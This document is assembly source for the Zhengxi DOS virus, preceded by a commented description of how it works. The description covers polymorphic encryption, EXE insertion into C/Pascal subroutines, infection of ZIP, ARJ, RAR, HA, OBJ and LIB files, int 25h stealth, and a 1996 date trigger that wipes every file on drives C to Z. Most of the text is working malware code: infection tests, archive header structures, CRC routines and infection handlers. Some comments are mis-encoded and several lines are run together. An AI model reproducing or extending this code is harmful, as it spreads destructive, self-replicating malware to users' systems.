header. To return to the host, the; virus has to decrypt the host data, but the engin e generates random loops; with random selected encryption functions. To sol ve that problem, Zhengxi; stores the initial random generator values while encrypting the host da-; ta, and runs the polymorphic generator with the s ame values while decryp-; ting those data. As result, the generator brings the same code which was; used for encrypting the host header, and being ex ecuted, that routine de-; crypts it. ; ;; Infecting EXE Files (inserting) ; ******************************* ; If the file length is above 32k, the virus seeks to the beginning of the

; EXE main module (just after EXE header), reads 6k of code, and looks for; C/Pascal routines there. Usually C/Pascal rout ines begin from the same; "header" that saves the BP register, and moves th e stack pointer to BP.; ; Zhengxi scans the code for those "headers" and, if such code is found,; the virus scans the next 54h bytes of code for a ret or a call far ins-; truction to prevent an overlap of the next subr outine, or relocated ad-; dress. If such code (ret or call far) is found, the virus exits from its; infection routine. ; ; Then the virus reads 54h bytes of that routine, overwrites it with the; code of its loader, and then encrypts the main v irus body with its poly-; morphic engine, and saves it to the end of the file. Then Zhengxi en-; crypts with a simple sub function the original subroutine code and the; second part of the loader, and saves it to the e nd of the file. Then the; virus writes the random data to the end of the f ile in the same way as; in the "appending" infection method. ;; Not infected Infected; ************ ********; Ú**************¿ Ú**************¿; ³EXE header ³ ³EXE header ³; Ã**************´ Ã**************´; ³Main EXE code ³ ³Main EXE code ³; Ã--------------´ Ã--------------´; ³C/Pascal subr Ã**¿ ³Virus loader ³ Part 1, 5 2h bytes, not encrypted; Ã--------------´ ³ Ã--------------´; ³ ³ ³ ³Main EXE code ³; ³ ³ ³ ³(continued) ³; À**************Ù ³ Ã**************´; ³ ³Virus ³ Encrypted with polymorphic loops; ³ Ã--------------´; ³ ³Virus loader ³ Part 2, e ncrypted with sub; ³ Ã--------------´ 70h bytes; À*>³Saved code ³ Original code of the patched subr,; Ã--------------´ 52h bytes , encrypted with sub; ³Random data ³ File leng th/9dh, the rest is 25h; À**************Ù;; Being executed, the loader looks for the host fi le name by using the PSP; fields, opens the file, seeks to the file end, t hen reads, decrypts and; executes the second part of the dropper. This pa rt restores the patched; subroutine, allocates system memory (conventional or UMB), reads the main ; virus body, and passes the control to the decr yption polymorphic loop.; That loop decrypts the virus body, and passes t he control to Zhengxi's ; installation routine.; ; This is a very insidious infection way. The vir us code is hidden in the; file, and there is no direct entry to the virus code from the file head-; er. The subroutine replaced with virus loader ma y be a "seldom-executed"; one. For instance, a subroutine which displays an error message. So the; virus may "sleep" in such files for a long time , and then jump out and ; infect the system under some limited conditions. ; ;; Infecting archives ; ******************; In case of having to infect an archive, Zhengxi builds in memory the in-; fected COM dropper image, and appends it to the archive. Those COM drop-; pers always begin with a jmp instruction followed by random data, the en-; crypted virus code and the decryption polymorphi c loop. The jmp instruc-; tion brings the control to this decryption loop.;

; The name of the COM dropper is random selected a nd finished with a .COM; extension, for instance: ; ; HAIF.COM, UCM.COM, DOO.COM, VLG.COM, and so on. ; ; While processing the archive fields, Zhengxi does not use any external u-; tility, but fills by itself all the necessary fi elds. The virus does not; pack the dropper: it uses the "stored" method (th e virus is stored in the; archive "as is"). While infecting, Zhengxi checks the contents of the ar-; chives, and does not infect them twice. ; ; ; Infecting OBJ and LIB files ; *************************** ; While infecting OBJ/LIB modules, Zhengxi checks the fields of the file,; creates, and inserts there a new object record which contains the viral; code, encrypted with two polymorphic loops. ; ; While scanning object files, the virus checks the code of these files for; a C/Pascal subroutine "header" as well as while i nserting into EXE files,; and infects the files only if that code is foun d. But if the OBJ or the; LIB module doesn't contain such code, the virus does not drop the loader; code there, but overwrites a C/Pascal header with a call instruction.; ; Being linked to an executable file, that call b rings the control to the; virus polymorphic decryption loop. That loop decr ypts the viral code and; passes the control to the virus installation rout ine.; ; As well as in EXE files (inserting), that call ma y never receive the con-; trol, so Zhengxi may sleep for a long time. But u nder some conditions the ; virus may jump out and infect the system.; ; ; Int 25h handler ; *************** ; This handler carries out the stealth routine on int 25h level. While ac-; cessing to the directory entries, the virus subs titutes the file length; with the original one. While reading the header of an infected file, the; virus restores and brings it in its original form .; ; The virus doesn't stealth 100% on int 25h level, of course. There are se-; veral ways to bypass this stealth routine. But i f some antivirus program; reads the file contents via int 21h DOS function s, then it reads the di-; rectory structure and then the file contents by absolute int 25h calls,; and Zhengxi remains completely invisible.; ; ; Trigger routine ; *************** ; If while processing a ZIP file Zhengxi finds som e record packed with the; "stored" method, it checks the ZIP file date and time stamp. If the year; of last modification of that file is 1996 or abov e, Zhengxi will look for; all the files of all the directories on all the disks (from C: till Z:),; and delete them (the files and whole subdirectory tree).;; **´ Zhengxi code Ã******************************* ************************

; Structure of archive block (low order byte first) :arj_hdr_struc strucarj_header_id dw ? ; 0;=EA60 2 header id (comment and local

; file) = 0xEA60 or 60000Uarj_bas_hdr_size dw ? ; 2;=28 ? 2 basic header size (from

; 'first_hdr_size' thru 'comment' below)

;= first_hdr_size + strlen(filename) + 1;+ strlen(comment) + 1;= 0 if end of archive

arj_first_hdr_size db ? ; 4;1E 1 first_hdr_size (up to extra data)arj_ver_num db ? ; 5;06 1 archiver version numberarj_min_ver db ? ; 6;01 1 min. archiver version to xtractarj_host_OS db ? ; 7;00 1 host OS (0 = MSDOS, 1 = PRIMOS,

; 2 = UNIX, 3 = AMIGA, 4 = MACDOS)arj_flags db ? ; 8;10 1 arj flags (0x01 = GARBLED_FLAG)

; indicates passworded file; ; (0x02 = RESERVED); ; v- no inf.vol.files, detect it as already; ; (0x04 = VOLUME_FLAG) indicates continued

; file to next volume; ; (0x08 = EXTFILE_FLAG) indicates file

; starting position field; ; (0x10 = PATHSYM_FLAG) path translated

arj_compres_method db ? ; 9;00 1 method (0 = stored, 1 = compressed; most ... 4 compressed fastest)

arj_file_type db ? ; A;00 1 file type (0 = binary, 1 = text; 2 = comment header)

arj_reserved db ? ; B;'Z' 1 reservedarj_file_time dw ? ; C; 4 date time stamp modifiedarj_file_date dw ? ; E; 4 date time stamp modified

arj_compressed_size dd ? ;10; 4 compressed sizearj_original_size dd ? ;14; 4 original sizearj_CRC32 dd ? ;18; 4 original file's CRCarj_entryname_pos dw ? ;1C;0 2 entryname position in filenamearj_file_access_mode dw ? ;1E;0 2 file access modearj_host_data dw ? ;20;0 2 host data (currently not used)

;22;; ? filename (null-terminated); ? comment (null-terminated); 4 basic header CRC; 2 1st extended header size (0 if none) = 0

; ? compressed fileends

ha_main struchasign db 'HA'filecnt dw ?

ends

ha_file_hdr strucha_ver_method db 20h ; 0ha_compress_size dd ? ; 2ha_original_size dd ? ; 6ha_CRC32 dd ? ; Aha_file_time dw ? ; Eha_file_date dw ? ; 10ha_path dw ? ; '/', '.', '+' ; 12 db

ends ; 14ha_name equ ha_path +size ha_path

;+1 name;+n 00h;+1 length of machine specific information;+1 machine specific information;2,1,20

;machine specific information :

;0000 type;0001 information

rar_main_hdr strucrar_head_crc dw ?rar_head_type db 73hrar_head_flags dw ?

; 0x01 - Volume attribute (archiv e volume); 0x02 - Archive comment present; 0x04 - Archive lock attribute; 0x08 - Solid attribute (solid a rchive); 0x10 - Unused; 0x20 - Authenticity information present

rar_head_size dw ?rar_reserved1 dw ?rar_reserved2 dd ?

ends;Comment block present if (HEAD_FLAGS & 0x02) != 0

rar_file_hdr strucrar_f_head_crc dw ? ; 0rar_f_head_type db 74h ; 2rar_f_head_flags dw ? ; 3

; 0x01 - file continued from previou s volume; 0x02 - file continued in next volu me; 0x04 - file encrypted with passwor d; 0x08 - file comment present; (HEAD_FLAGS & 0x8000) == 1, because full; block size is HEAD_SIZE + PACK_SIZE

rar_f_head_size dw ? ; 5rar_compressed_size dd ? ; 7rar_original_size dd ? ; Brar_host_os db 0 ; Frar_crc32 dd ? ;10rar_file_time dw ? ;14rar_file_date dw ? ;16rar_req_ver db 15d ;18rar_method db 30h ;19rar_fname_size dw ? ;1Arar_file_attrib dd ? ;1C

ends ;20;FILE_NAME File name - string of NAME_LEN byt es size;Comment block present if (HEAD_FLAGS & 0x08) != 0;???? Other extra included blocks - rese rved for future use

zip_local_header struczip_loc_sign db 'PK ETXEOT' ; 0zip_ver_ned_to_extr dw ? ; 4

zip_flags dw ? ; 6zip_compression_method dw ? ; 8zip_file_time dw ? ; Azip_file_date dw ? ; C

zip_crc_32 dd ? ; Ezip_compressed_size dd ? ; 12zip_uncompressed_size dd ? ; 16zip_size_fname dw ? ; 1Azip_extra_field_length dw ? ; 1C

ends ; 1E; filename (variable size)

; extra field (variable size)zip_central_header struc

zip_centr_sign_ db 'PK ETXEOT' ; 0zip_ver_made_by_ dw ? ; 4zip_ver_ned_to_extr_ dw ? ; 6zip_flags_ dw ? ; 8zip_compression_method_ dw ? ; Azip_file_time_ dw ? ; Czip_file_date_ dw ? ; Ezip_crc_32_ dd ? ; 10zip_compressed_size_ dd ? ; 14zip_uncompressed_size_ dd ? ; 18zip_size_fname_ dw ? ; 1Czip_extra_field_length_ dw ? ; 1Ezip_file_comment_length_ dw ? ; 20zip_disk_number_start_ dw ? ; 22zip_intrnl_file_attr_ dw ? ; 24zip_extrnl_file_attr_ dd ? ; 26zip_rel_off_of_loc_hdr_ dd ? ; 2A

ends ; 2E; filename (variable size); extra field (variable size); file comment (variable size)

zip_end_header strucend_file_hdr_sign db 'PK ENQACK' ; 0num_of_this_disk dw ? ; 4num_of_the_start_disk dw ? ; 6ttl_num_of_ent_on_this_disk dw ? ; 8ttl_num_of_ent_in_the_cent_dir dw ? ; Asize_of_the_central_directory dd ? ; Coff_of_strt_of_cent_directory dd ? ; 10zipfile_comment_length dw ? ; 14

ends ; 16; zipfile comment (variable size)

seg_attr RECORDSA_A: 3, SA_C: 3, SA_B: 1, SA_P: 1

MODEND = 08AhSEGDEF = 098hFIXUPP = 09ChLEDATA = 0A0h;extrn dosseek_cx_0:nearobjrec strucrectype db ?recsize dw ?

UNIONSTRUC

segattr db ?segsize dw ?

ENDSSTRUC

dataidx db ?dataorg dw ?

ENDSENDS

ENDS

LIB_DICTIONARY_ENTRY_SIZE = 200hlib_hdr struc

lib_hdr_type db 0F0h

lib_hdr_recsize dw ?lib_hdr_dict_offs dd ?lib_hdr_dict_size dw ?lib_hdr_flags db ?lib_hdr_padding db 10h - lib_hdr_padding dup (?)

ends

;;MRORW MACRO w1, shval;;PUSHSTATE;;.386;; dw ((w1 and 0FFFFh) shr (shval and 0Fh)) or ((w1 and 0FFFFh) shl;; (10h-(shval and 0Fh)));;POPSTATE;;ENDM

CRC32w MACROmoreshitPUSHSTATE.386LOCAL cum_crc , byt , suxx

cum_crc = 0FFFFFFFFhIRP _byt , < moreshit >

byt = _byt xor ( cum_crc and 0FFh)cum_crc = ( cum_crc shr 8) and 0FFFFFFhREPT 8

IF byt and 1byt = ( byt shr 1) xor 0EDB88320H

ELSEbyt = byt shr 1

ENDIFENDMcum_crc = cum_crc xor byt

ENDMcum_crc = not cum_crc

suxx = ((( cum_crc shr 16) and 0FFFFh) shr ( cum_crc and 0Fh)) or \((( cum_crc shr 16) and 0FFFFh) shl ( 10h -( cum_crc and 0Fh)))

suxx = ( suxx + cum_crc ) and 0FFFFh ; add dx, cxdw suxx

POPSTATEENDM

cmp_ax_CRC32w MACROmoreshitdb 3DhCRC32w <moreshit >

ENDM

.286%NOINCL%NOSYMS.SFCOND.XCREF.SALL

localsUSE_PUSHAequ 0;RELIZ equ 0;USE_BEEP equ 0

$BEEP$ macroIFDEF USE_BEEPextrn beep :near

call beepENDIFendm;************************************************** *************************INCLUDE SF.INC ;\INCLUDE FIND.INC ;|INCLUDE EXE.INC ;> ¨§ ¨á室-¨ª®¢ MS-DOS 3.30INCLUDE PDB.INC ;|INCLUDE DPB.INC ;|INCLUDE DIRENT.INC ;|INCLUDE ARENA.INC ;/;************************************************** *************************INCLUDE STAR14T.INCINCLUDE ABSDISK.INCINCLUDE ARXHDRS.ASIINCLUDE SHMAC.INCINCLUDE CRC.ASI;************************************************** *************************GLOBAL RND_INIT :near, \

RND_GET:near, \ randomizerRND_GET_THREE_BITS:near, \RND_GET_BYTE:near

;************************************************** *************************;************************************************** *************************RegWord ENUM R_AX, R_CX, R_DX, R_BX, R_SP, R_BP, R_SI , R_DIRegByte ENUM R_AL, R_CL, R_DL, R_BL, R_AH, R_CH, R_DH, R_BH

secondbyte RECORD M0D: 2, REG: 3, R_M: 3

asgrbl RECORD N : 1, \REG_GARBL3 : 1, \ ॣ¨áâàëREG_GARBL2 : 1, \ -¥ ¨á¯®«ì§ã¥¬ë¥REG_GARBL1 : 1, \ ¤«ï à áè¨ * ஢ª¨REG_TMP2 : 1, \ ¤«ï ª®-áâ -âREG_TMP1 : 1, \REG_ENC : 1, \REG_INDEX : 1 ; 㪠§ ⥫ì - è¨*à㥬®¥ á«®¢®

REG_GARBL_ALL= MASK REG_GARBL1 or \ ॣ¨áâàëMASK REG_GARBL2 or \ -¥ ¨á¯®«ì§ã¥¬ë¥MASK REG_GARBL3 ; ¤«ï à áè¨*஢ª¨

REG_ENC_ALL = MASK REG_ENC or \ ॣ¨áâàëMASK REG_TMP1 or \ ¨á¯®«ì§ã¥¬ë¥MASK REG_TMP2 ; ¤«ï à áè¨*஢ª¨

REG_ALL = MASK REG_INDEX or \ ¢á¥ ॣ¨áâàë ( ªà®¬¥ SP)REG_ENC_ALL or \REG_GARBL_ALL ;

;*current*not*used********************************* *************************ENFLAGSRECORD EN_SAVE_REGS : 1, \ á®åà -ïâì ॣ¨áâàë ¯¥à¥¤ à áè¨ * ஢ª®©

EN_USE_INT : 1, \ ¥-ª®¤¨âì ¯à¥àë¢ -¨ïEN_USE_CALL : 1, \ ¥-ª®¤¨âì ¯à®æ¥¤ãàë ¨ JMP nearEN_USE_JMPS : 1, \ ¥-ª®¤¨âì ãá«®¢-ë¥ ¯¥à¥å®¤ëEN_INT_GARBL : 1, \ ¬ «® «¥¢ëå ¨-áâàãªæ¨© ¢ à áè¨ * ஢騪¥EN_RELOCATOR : 1, \ ®¯à¥¤¥«ïâì ᢮¥ ¯®«®¦¥-¨¥ ¢ ¯ ¬ïâ¨EN_BFR_GARBL : 2

;************************************************** *************************

ENFLAGS_ARX= MASK EN_RELOCATOR or \MASK EN_USE_INT or \MASK EN_USE_JMPS or \MASK EN_USE_CALL or \( 3 shl EN_BFR_GARBL) ;

;************************************************** *************************;*« £¨ ¤«ï ¢¨àãá ¢ EXE* ©«¥ENFLAGS_EXE= MASK EN_USE_INT or \

MASK EN_USE_JMPS or \MASK EN_USE_CALL or \( 3 shl EN_BFR_GARBL) ;

;************************************************** *************************ENFLAGS_HDR= MASK EN_INT_GARBL or \

MASK EN_RELOCATOR or \MASK EN_SAVE_REGS

;************************************************** *************************;*« £¨ ¤«ï ¢¨àãá ¢ EXE* ©«¥ c podgruzkoiENFLAGS_IXE = MASK EN_USE_JMPS or \

MASK EN_USE_CALL or \MASK EN_RELOCATOR or \MASK EN_SAVE_REGS or \( 2 shl EN_BFR_GARBL) ;

;************************************************** *************************;*« £¨ ¤«ï ¢¨àãá ¢ OBJ* ©«¥ENFLAGS_OBJ= MASK EN_INT_GARBL or \

MASK EN_SAVE_REGS or \MASK EN_USE_CALL or \MASK EN_RELOCATOR or \( 1 shl EN_BFR_GARBL) ;

;************************************************** *************************;*« £¨ ¤«ï ¢¨àãá ¢ OBJ* ©«¥;ENFLAGS_OBJ = MASK EN_INT_GARBL or \; MASK EN_SAVE_REGS or \; MASK EN_RELOCATOR;************************************************** *************************;®¯ª®¤ëopNOP equ 90hopPUSHF equ 9ChopINT equ 0CDhopCALL equ 0E8hopJMPN equ 0E9hopJMPS equ 0EBhopSEGCS equ 2EhopSEGES equ 26hopRETN equ 0C3hopRETF equ 0CBhopJMPFAR equ 0EAhopMOV_AHimm equ 0B4hopPUSH_CS equ 0EhopPUSHA equ 60hopPOPA equ 61hopJC equ 72hopJZ equ 74hopPOP_AX equ 58hopPUSH_AX equ 50hopCMP_AXimm equ 3DhopCMP_ALimm equ 3Ch;************************************************** *************************;¬¨-¨¬ «ì-ë© ¨ ¬ ªá¨¬ «ì-ë© à §¬¥àë § à ¦ ¥¬ëå EXEè -¨ª®¢MININFECTSIZE equ 400h ; 1kMAXINFECTSIZE equ 80000h ;512k;************************************************** *************************INTERVAL_INFECT = 2INCUB_TIME = 3 ;14 sec

VIRUSSTACKSIZE equ 0D0hTIMEMARKER equ 1SIZEMARKER equ 157d

SIZEMARKER_MOD equ 37dCRYPTLEVEL equ 50h ;¬ ªá¨¬ «ì-® ¢®§¬®¦-ë© (!)DOUBLEENCRYPT equ 80hHDRCRYPTLEVEL equ 4FhEXECRYPTLEVEL equ 23h ;+DOUBLEENCRYPTIXECRYPTLEVEL equ 29hARXCRYPTLEVEL equ 27h+DOUBLEENCRYPTOBJCRYPTLEVEL equ 1FhIRP EXT, < ARX, EXE, IXE , OBJ, HDR>

zmefl &EXT equ (& EXT&CRYPTLEVELshl 8) or ENFLAGS_&EXTENDMUNINIT equ 1111hZIP_SIGN = 4B50hARJ_SIGN = 60000dRAR_SIGN = 6152hHA_METHOD_STORED= 20HARJ_METHOD_STORED= 0ZIP_METHOD_STORED= 0RAR_METHOD_STORED= 30hZIP_LCL_ID = 403hZIP_CNL_ID = 201hZIP_END_ID = 605hCRLF equ <0Dh, 0Ah>;************************************************** *************************;dword_shit struc; lo dw ?; hi dw ?;endsdword_shit struc

unionlo dw ?struc

l db ?h db ?

endsendshi dw ?

ends

;************************************************** *************************ifInfJump macro whatest , executextrn IfInfect &whatest :near; lea di, execut

call IfInfect &whatestendm;************************************************** *************************probability_test macro variabl , glb_pr , go_tolocal __1extrn variabl :byte

call RND_GET_BYTEcmp ah, byte ptr ds :[ variabl ]jae __1cmp al , glb_pr

__1 :jae go_to

endmprALWAYS = - 1

;************************************************** *************************ENGBUFFER STRUC ;

UNIONSTRUC ;

zmeflags ENFLAGS ?

cur_cryptlevel db ?ENDSzmefl dw ?

ENDSdatasize dw ?jmp_after_decrypt dw ?targetptr dw ?segm_IDT db ?cJMP_patch dw ?nJMP_patch dw ?begin_sub dw ?end_of_jmp dw ?start_reg2 dw ?start_reg3 dw ?loop_top dw ?lastgarble db ?lastchoose db ?decryptor_size dw ?relocator_base dw ?reloff_1 dw ?reloff_2 dw ?value_J dw ?value_X dw ?value_Y dw ?useregs asgrbl ?IRPC NR, 0123456

reg &NR RegWord ?ENDM

ENDS;************************************************** *************************

;all_memory_size_p=400h ;16k in memory :)all_memory_size_p =700h ;20k in memory :(HDRBUFSIZE = 22hhp equ ( bp- 80h )

WORKBUFFERSTRUCUNION

STRUC ;infect ARX_arx_crc dd ?_fnamestr db 12d dup (?)_hafcount dw ?

ENDSSTRUC ;infect OMF

_siz98 dw ?_posA0 dd ?_sizA0 dw ?_lib_dict_offset dw ?

ENDSSTRUC

UNIONSTRUC ;func 4B

_load_fname dw ?_load_array dw ?

ENDSSTRUC ;func 3F

_rd_st_cnt dw ?_st_rd_off dw ?_beg_pos_lo dw ?

ENDSENDSUNION

_saved_seek dd ? ;for restore header etcSTRUC ;stealth int25

_start_sec dd ?_abs_read_drive db ?

ENDSENDS

ENDSENDS

_host_arx_date dw ? ; ¤*â § à ¦ ¥¬®£® * ©« _host_arx_time dw ? ; ¤*â § à ¦ ¥¬®£® * ©« _beg_pos dd ? ;use in "f_insert"_pos98 dd ?_fisize dw ?_fioff dw ?_fnamesize dw ?_crthdr db 40h dup (?)_last_infect_time dw ?_hook dw ?_close_on_error db ? ;if 1, doserror-> close file_save_sp dw ?_save_ss dw ?_after_goto dw ?_five_bytes db 5 dup (?)_turn_name_crc dw ?_engdata ENGBUFFER ?_exehdr db HDRBUFSIZE dup (?)

; _dataencriptor dd CRYPTL EVEL dup (?); _for_ret db ?

ENDS_hahdr equ _exehdr_ziphdr equ _exehdr_arjhdr equ _exehdr_rarhdr equ _exehdr_objhdr equ _exehdr_libhdr equ _exehdr_sfxhdr equ _exehdr_shift_buffer equ _exehdr

To_hp MACROsome_labelsome_label equ ( hp+_&some_label &)

ENDM

To_hp host_arx_dateTo_hp host_arx_timeTo_hp hookTo_hp last_infect_timeTo_hp close_on_errorTo_hp after_gotoTo_hp lib_dict_offsetTo_hp hafcountTo_hp saved_seekTo_hp start_secTo_hp abs_read_driveTo_hp beg_posTo_hp arx_crcTo_hp load_fnameTo_hp load_arrayTo_hp rd_st_cntTo_hp st_rd_offTo_hp beg_pos_loTo_hp fnamestr

To_hp pos98To_hp siz98To_hp posA0To_hp sizA0To_hp fisizeTo_hp fioffTo_hp fnamesizeTo_hp engdataTo_hp crthdrTo_hp exehdrTo_hp save_spTo_hp save_ssTo_hp five_bytesTo_hp turn_name_crcTo_hp hahdrTo_hp ziphdrTo_hp arjhdrTo_hp rarhdrTo_hp objhdrTo_hp libhdrTo_hp sfxhdrTo_hp shift_buffer

PURGETo_hp

include zurich.asicode segment byte publicassume cs : code , ds : code , es : code , ss : codeIFDEF USE_BEEPpublic beep

beep proccall beep1beep endp

beep1 procpush cx axmov al , 3out 61h , al

REPT 2loop $

ENDMmov al , 0out 61h , alpop ax cxret

beep1 endpENDIFendsend

;include shmac.incinclude star14t.inccode segment public byteassume cs : codepublic Calculate_CRCpublic Calculate_CRC5;-+------------------------------------------------ ----------+-;ds:si=ptr;di=size;return: cx:dx=crc32;-+------------------------------------------------ ----------+-Calculate_CRC5 :

mov di , 5Calculate_CRC :

cldpush bxmov cx , - 1mov dx , cxDO

xor ax , axxor bx , bxlodsbxor al , clmov cl , chmov ch , dlmov dl , dhmov dh, 8DO

shr bx , 1rcr ax , 1DOIF C

xor ax , 08320Hxor bx , 0EDB8H

DONEdec dhCYCLE NZxor cx , axxor dx , bx

dec diCYCLE NZnot dxnot cxpop bxmov ax , dxror ax , cladd ax , cxret

;-+------------------------------------------------ ----------+-endsend

INCLUDE ZURICH.ASIcode segment byte publicassume cs : code , ds : code , es : code , ss : code

;.DATApublic vir_heap , StealthName , start_datapublic dataencriptorpublic heappublic InfectTurnpublic zip_hpublic arj_h

;public five_bytes

zip_h dw ZIP_SIGN , ZIP_LCL_ID , 14harj_h dw ARJ_SIGN, 31Ehstart_data :vir_heap :

WORKBUFFER?

dataencriptor dd CRYPTLEVELdup (?)

for_ret db ?

StealthName db 80h dup (?)InfectTurn db 80h dup (?)pblabel continue21

db 11d dup (?)db ?

ret_hook dd ?ret_sux dw ?public ret_hookpublic ret_sux; public after_goto;after_goto dw ?

heap :db 1800h dup (?)

end_data :;nameforinfect db 80h dup (?);CurDtamem_virus_end :;data_size=end_data-begin_data;all_memory_size_p equ (offset mem_virus_end+30h)/1 0hendsend

code segment byte publicassume cs : code , ds : code , es : code , ss : codepublic get_sftget_sft proc ;bx-handle ;es:di-ptr to sft

push ax bxmov ax , 1220hint 2Fhmov bl , es :[ di ]mov ax , 1216hint 2Fhpop bx axret

get_sft endpendsend

code segment byte publicassume cs : code , ds : code , es : code , ss : code

public get_cur_timeget_cur_time proc

push dsxor ax , axmov ds , axmov ax , word ptr ds :[ 46Dh]pop dsret

get_cur_time endp

endsend

INCLUDE ZURICH.ASIcode segment byte publicassume cs : code , ds : code , es : code , ss : codeSTACKBASE equ 080hextrn restore_seek :near

extrn save_seek :nearextrn seek_end :nearextrn dosseek_bof :nearextrn DOSCALL :nearextrn DosCall_exc :nearextrn NOSTL21NAMES :nearextrn get_own_name :nearextrn get_crc_just_fname :near;extrn check_PROCESS_NAME :near;extrn EXE_TEST_READ :nearextrn start_data :nearextrn dosclose :nearextrn read_buf_22 :near

;public exe_test_read;public IfInfectName;public IfInfectHandle;public IfInfectBuf;public IfInfectNameCustom;public exe_test;public test_size

;-+------------------------------------------------ ------------------------+-pblabel IfInfectName ;ds:dx - filename ax - 3Dxx for open file

mov ax , 3D40h ; open R/O filepblabel IfInfectNameCustom

mov byte ptr cs :[ ErrorRead ], opCALLcall DosCall_exc ; open file

; ¥á«¨ -¥ ®âªà®¥âáï - ®ç¥-ì ¯«®å® :(;- ¤® ®¡ï§ ⥫ì-® ®âªàëâì (67h?)

; push bxxchg bx , ax

call seek_endcall test_size

; jnz ErrorRead

jz IfInfectHandle1ErrorRead :

call dosclose ; close filepop axret

;-+------------------------------------------------ ------------------------+-

pblabel IfInfectHandlemov byte ptr cs :[ ErrorRead ], 0B8h ;don't close this file

IfInfectHandle1 :MOVSEGds , cs;*****************test size

mov ax , 4400h ; IOCTL test for file/streamcall DosCall ;NDD: open 'CON' :)jc ErrorRead ;no filerol dl , 1jc ErrorRead ;no file

call save_seek;; call seek_end; call test_size

; jnz ErrorRead;

call dosseek_bofcall read_buf_22

; jc ErrorReadcall restore_seek

pblabel IfInfectBuf;if PKZIP, NDD (ZF=1) - no stealth

push ds dxcall get_own_namecall get_crc_just_fnamepop dx dsjz ErrorRead

call exe_testjnz ErrorRead ;test for infect

mov ax , [ exehdr.exe_CS ] ;later to ss:[ExeCS]add ax , [ exehdr.exe_par_dir ]mov cx , 10hmul cxadd ax , [ exehdr.exe_SP ]sub ax , STACKBASE- 10h ;offset virus_start-10h ;ax - original sizecmp ah, MININFECTSIZE / 100hjb ErrorReadtest al , 1jnz ErrorReadret

;IfInfectHandle endp;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-pblabel exe_test ;-+------- test for already infect -> ZF=1 if infec t

;ZF=0 - no infected file; mov ax, [exehdr.exe_SS]; inc ax; sub ax, [exehdr.exe_CS]; DOIF Z

mov al , [ exehdr.exe_SS.h ]sub al , [ exehdr.exe_CS.h ]cmp al , 17hDOIF BE

mov ax , [ exehdr.exe_SP ]and ax , 0FFF0hsub ax , STACKBASE

DONEret

;-+------------------------------------------------ ------------------------+-

;-+------------------------------------------------ ------------------------+-pblabel test_size ;ax-(file_size and 0FFFFh)

;-+------- test for already infect -> ZF=1 if possi ble infect;ZF=0 - no infected file

;for length with viruspush ax cx dxxor dx , dxmov cx , SIZEMARKERdiv cxcmp dx , SIZEMARKER_MODpop dx cx axret

;-+------------------------------------------------ ------------------------+-

endsend

; BUG LIST; 1. no infect ARJSFX; 2. no -AV in ZIP; 3. no support RAR 1.30; 4. no support long names

INCLUDE ZURICH.ASI

code segment byte publicassume cs : code , ds : code , es : code , ss : codeSTACKBASE equ 080h

;************************************************** **************************extrn DOSCALL :nearextrn DOStruncate :nearextrn rt_err :nearextrn vir_heap :nearextrn EXE_TEST :nearextrn SEEK_END :nearextrn TEST_SIZE :nearextrn START_DATA :nearextrn CALC_HDR_PAGES :nearextrn DOSSEEK :nearextrn START_DATA :nearextrn DOSSEEK_BOF :nearextrn ZME_crypt :nearextrn dosseek_cur :nearextrn DosCall_exc :nearextrn SHIT_AX :nearextrn get_sft :nearextrn dostell :nearextrn heap :nearextrn DosSeek_all :nearextrn dosseek_cur_neg_dx :nearextrn dosseek_cur_neg_ax :nearextrn dosseek_cur_cx_1 :nearextrn dosseek_cur_cx_0 :nearextrn dosseek_cx_0 :nearextrn arj_h :nearextrn zip_h :nearextrn dosread :nearextrn read_buf_22 :nearextrn read_buf_cx :nearextrn DosWrite_shbuf_22 :nearextrn DosWrite_shbuf :nearextrn DosWrite :nearextrn dosclose :nearextrn doswrite_from_heap :nearextrn _____ :byteextrn Calculate_CRC :nearextrn get_cur_time :nearextrn get_crc_just_fname :nearextrn InfectTurn :byteextrn crypt_exe_header :near;************************************************** **************************

;************************************************** **************************pblabel InfectName

MOVSEG ds , cslea dx , InfectTurncall get_crc_just_fnamejz $ret $cmp ax , [ turn_name_crc ]je $ret $mov [ turn_name_crc ], axmov ax , 3D12hcall DosCall_excxchg bx , axpush bxcall InfectHandlepop bxjmp dosclose

;************************************************** **************************

;************************************************** **************************pblabel InfectHandle ;ret; cld

MOVSEG ds , csMOVSEG es , cscall no_freq_procmov ax , 5700hcall doscallmov [ host_arx_date ], dx ; dx = datemov [ host_arx_time ], cx ; cx = timemov ah, 2Ah ; ¯®«ãç¨âì ⥪ãéãî ¤ âã ¨ ......call doscallxor dx , [ host_arx_date ] ;-¥ § à ¦ âì * ©«ë í⮩ -¥¤¥«¨and dx , 18h ;week only ; ¨áª«. ᮧ¤ ¢ ¥¬ë¥ * ©«ë (?)DOIF NZ

call arxtestDONEmov cx , [ host_arx_time ]xor cl , 1 ;change time for 1Fmov dx , [ host_arx_date ]mov ax , 5701hjmp doscall_exc

;************************************************** **************************

;************************************************** **************************pblabel arxtest ;close file(?)

call RND_INITmov ax , 4400h ; IOCTL test for file/streamcall DosCall_exccmp dl , 80hDOIF NC

$ret : pop ax ;don't restore file time$ret $: retn

DONEand dl , 0Fhinc dx ;1=a, 3=C

;IFDEF RELIZ; cmp dl, 3;ELSE; cmp dl, 4; jbe $ret ; no flop & C:;ENDIF; jc $ret ; no flop;int 2bh

cmp dl , 3 ;<<debug

jbe $ret ;<<debug$BEEP$;cmp dl, 2 ;<<debug;je $ret ;<<debug;cmp dl, 1 ;<<debug;je $ret ;<<debug

call get_sftcmp es :[ di.sf_name.9 ], 'V' ;*.ov?je $retinc diDOIF NZ

inc disto_word 2012hsto_byte 20h

DONE

movseg es , ss

push bx dsmov ah, 32h ;get DPBcall DosCall ;test for RAM-DISKcmp byte ptr ds : dpb_FAT_count [ bx ], 1 ;RAM-DISK have one FATDOIF NE

mov ah, 36h ;get Disk spacecall DosCall ;BX - free clustersand bh, bh ;BX < 100h

DONE;no_free_space2: ;8k*100h = 2Mb

pop ds bx ;.5k*100h = 128kjz $ret

;int 2bh; mov es:[(di-1).sf_mode.l], 12h ;mode +2; mov es:[(di-1).sf_attr], 20h ;attr +4

call dosseek_bofpblabel second_tst

call read_buf_22cmp al , HDRBUFSIZEjne __retmov crcpass , 8DO

shr crcpass , 1DOIF E ;CPU conveir

__ret :ret

DONElea si , [ vir_heap._exehdr ]mov di , 2 ;4,2,1

crcpass equ byte ptr ($- 2)call calculate_crclea di , hdrsmov cx , ( offs - hdrs )/ 2repne scasw

CYCLE NZ

